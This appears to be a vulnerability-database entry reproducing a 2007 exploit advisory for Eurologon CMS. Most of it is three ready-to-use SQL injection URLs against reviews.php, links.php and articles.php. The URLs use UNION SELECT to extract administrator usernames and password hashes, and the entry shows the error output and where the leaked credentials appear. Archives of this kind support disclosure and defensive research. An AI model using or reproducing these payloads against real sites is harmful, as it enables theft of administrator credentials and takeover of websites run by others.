Eurologon CMS Multiple Remote SQL Injection Vulnerabilities

🗓️ 28 Nov 2007 00:00:00Reported by RootType
Eurologon CMS Multiple Remote SQL Injection Vulnerabilitie

                                                ---------------------------------------------------------------
&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__________&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;____&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;
/_&nbsp;&nbsp;&nbsp;|&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|__\_____&nbsp;&nbsp;\&nbsp;&nbsp;_____/&nbsp;&nbsp;|_&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/_&nbsp;&nbsp;&nbsp;|/&nbsp;&nbsp;|_&nbsp;
&nbsp;|&nbsp;&nbsp;&nbsp;|/&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|&nbsp;_(__&nbsp;&nbsp;&lt;_/&nbsp;___\&nbsp;&nbsp;&nbsp;__\&nbsp;&nbsp;______&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;__\
&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\___|&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;/_____/&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;||&nbsp;&nbsp;|&nbsp;&nbsp;
&nbsp;|___|___|&nbsp;&nbsp;/\__|&nbsp;&nbsp;/______&nbsp;&nbsp;/\___&nbsp;&nbsp;&gt;__|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|___||__|&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\______|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
---------------------------------------------------------------

Http://www.inj3ct-it.org&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Staff[at]inj3ct-it[dot]org&nbsp;

---------------------------------------------------------------

Eurologon&nbsp;CMS&nbsp;reviews.php/links.php/articles.php&nbsp;SQL&nbsp;Injection

---------------------------------------------------------------

#By&nbsp;KiNgOfThEwOrLd

---------------------------------------------------------------
PoC

Useless..
---------------------------------------------------------------
Exploit

http://[target]/reviews.php?id='+union+select+1,concat(username,0x3a,password)
+from+users/*
http://[target]/links.php?id='+union+select+1,concat(username,0x3a,password)
+from+users/*
http://[target]/articles.php?id='+union+select+1,concat(username,0x3a,password)
+from+users/*
---------------------------------------------------------------
Result

You&nbsp;will&nbsp;see&nbsp;the&nbsp;disclosed&nbsp;informations&nbsp;under&nbsp;some&nbsp;mysql&nbsp;errors&nbsp;like:

Can't&nbsp;execute&nbsp;query

[QUERY]
		

MySQL&nbsp;Error:&nbsp;The&nbsp;used&nbsp;SELECT&nbsp;statements&nbsp;have&nbsp;a&nbsp;different&nbsp;number&nbsp;of&nbsp;columns
Can't&nbsp;execute&nbsp;query

[QUERY]	

MySQL&nbsp;Error:&nbsp;The&nbsp;used&nbsp;SELECT&nbsp;statements&nbsp;have&nbsp;a&nbsp;different&nbsp;number&nbsp;of&nbsp;columns
Can't&nbsp;execute&nbsp;query

[QUERY]	

MySQL&nbsp;Error:&nbsp;The&nbsp;used&nbsp;SELECT&nbsp;statements&nbsp;have&nbsp;a&nbsp;different&nbsp;number&nbsp;of&nbsp;columns

Home&nbsp;&gt;&nbsp;&nbsp;[category_name]&nbsp;&gt;&nbsp;[category_name]&nbsp;&gt;&nbsp;[admin_name]:[admin_hash]
---------------------------------------------------------------
28 Nov 2007 00:00Current
7.1High risk
Vulners AI Score7.1